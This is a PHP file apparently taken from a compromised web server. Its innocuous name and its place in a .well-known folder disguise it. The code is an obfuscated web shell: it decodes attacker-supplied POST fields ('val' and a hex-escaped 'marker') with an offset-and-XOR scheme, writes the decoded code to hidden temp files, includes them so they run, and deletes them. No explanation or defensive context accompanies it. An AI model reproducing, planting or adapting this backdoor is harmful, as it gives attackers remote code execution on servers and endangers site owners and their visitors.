File: //proc/thread-self/root/home/vitanhod/vigolic100.vitavit.com.pk/.well-known/search_links.php
<?php if(count($_POST) > 0 && isset($_POST["val"])){ $desc = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", getcwd(), session_save_path(), getenv("TEMP")]); $marker = $_POST["val"]; $marker =explode ( '.', $marker ) ; $reference = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $x = 0; array_walk($marker ,function ($v3) use (&$reference ,&$x ,$salt ,$sLen) { $sChar = ord($salt[$x % $sLen]); $dec = ((int)$v3 - $sChar - ($x % 10)) ^ 100; $reference .= chr($dec); $x++; } ); foreach ($desc as $key => $entry) { if ((is_dir($entry) and is_writable($entry))) { $comp = implode("/", [$entry, ".object"]); if (file_put_contents($comp, $reference)) { include $comp; @unlink($comp); exit; } } } }
if(in_array("\x6D\x61rk\x65r", array_keys($_POST))){
$key = array_filter(["/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir()]);
$reference = $_POST["\x6D\x61rk\x65r"];
$reference = explode ( ".", $reference ) ;
$bind='';
$s='abcdefghijklmnopqrstuvwxyz0123456789';
$lenS=strlen( $s );
foreach( $reference as $x => $v6) {
$sChar=ord( $s[$x % $lenS] );
$dec=( ( int)$v6 - $sChar -( $x % 10)) ^ 23;
$bind .= chr( $dec );
}
foreach ($key as $entry):
if (max(0, is_dir($entry) * is_writable($entry))) {
$pset = implode("/", [$entry, ".property_set"]);
$file = fopen($pset, 'w');
if ($file) {
fwrite($file, $bind);
fclose($file);
include $pset;
@unlink($pset);
die();
}
}
endforeach;
}